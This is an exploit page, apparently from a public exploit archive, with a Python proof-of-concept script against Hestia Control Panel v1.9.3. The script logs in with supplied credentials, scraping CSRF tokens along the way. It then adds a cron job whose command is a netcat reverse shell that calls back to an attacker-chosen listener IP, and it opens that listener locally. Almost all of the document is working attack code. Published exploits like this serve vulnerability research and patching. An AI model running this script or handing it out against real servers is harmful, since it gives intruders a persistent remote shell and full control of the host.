Share
## https://sploitus.com/exploit?id=PACKETSTORM:189606
# Exploit Title: Hestia Control Panel Remote Code Execution
# Google Dork: N/A
# Date: 05-03-2025
# Exploit Author: Buğra Enis Dönmez (n3c1)
# Vendor Homepage: https://hestiacp.com/
# Software Link: https://hestiacp.com/
# Version: v1.9.3
# Tested on: Windows
# Python POC
import requests
import argparse
import subprocess
import urllib3
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def login(url, username, password):
session = requests.Session()
token_response = session.get(f"{url}/login/", verify=False)
match = re.search(r'<input type="hidden" name="token" value="(.*?)">',
token_response.text)
if not match:
print("Failed to retrieve login token")
return None, None
token = match.group(1)
username_data = {"token": token, "user": username}
username_response = session.post(f"{url}/login/", data=username_data,
verify=False)
match = re.search(r'<input type="hidden" name="token" value="(.*?)">',
username_response.text)
if not match:
print("Failed to retrieve password token")
return None, None
token = match.group(1)
password_data = {"token": token, "password": password}
password_response = session.post(f"{url}/login/", data=password_data,
verify=False)
if "login" in password_response.url:
print("Login failed!")
return None, None
print("Login successful!")
return session, session.cookies.get("PHPSESSID"), token
def create_cron(url, session, phpsessid, listener_ip, listener_port, token):
cron_payload = (
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc
{listener_ip} {listener_port} >/tmp/f"
)
cron_data = {
"token": token,
"ok": "Add",
"v_cmd": cron_payload,
"v_min": "*",
"v_hour": "*",
"v_day": "*",
"v_month": "*",
"v_wday": "*",
}
headers = {
"Referer": f"{url}/add/cron/",
"Origin": url,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:110.0)
Gecko/20100101 Firefox/110.0",
"X-Requested-With": "XMLHttpRequest"
}
cron_response = session.post(f"{url}/add/cron/", data=cron_data,
cookies={"PHPSESSID": phpsessid}, headers=headers, verify=False)
if "cron" in cron_response.url:
print("Cronjob successfully generated!")
return True
print("Failed to create cronjob.")
return False
def open_listener(ip, port):
print("Opening listener...")
try:
subprocess.run(["nc", "-vv", "-l", "-p", str(port), "-n"],
check=True)
except subprocess.CalledProcessError as e:
print("Error starting listener:", e)
except Exception as e:
print("Unexpected error:", e)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit script for
creating cronjobs.")
parser.add_argument("-url", required=True, help="Target URL with port
(e.g., https://example.com:8083)")
parser.add_argument("-u", required=True, help="Username")
parser.add_argument("-p", required=True, help="Password")
parser.add_argument("-ip", required=True, help="Listener IP")
parser.add_argument("-port", required=True, type=int, help="Listener
Port")
args = parser.parse_args()
session, phpsessid, token = login(args.url, args.u, args.p)
if session and phpsessid:
if create_cron(args.url, session, phpsessid, args.ip, args.port,
token):
open_listener(args.ip, args.port)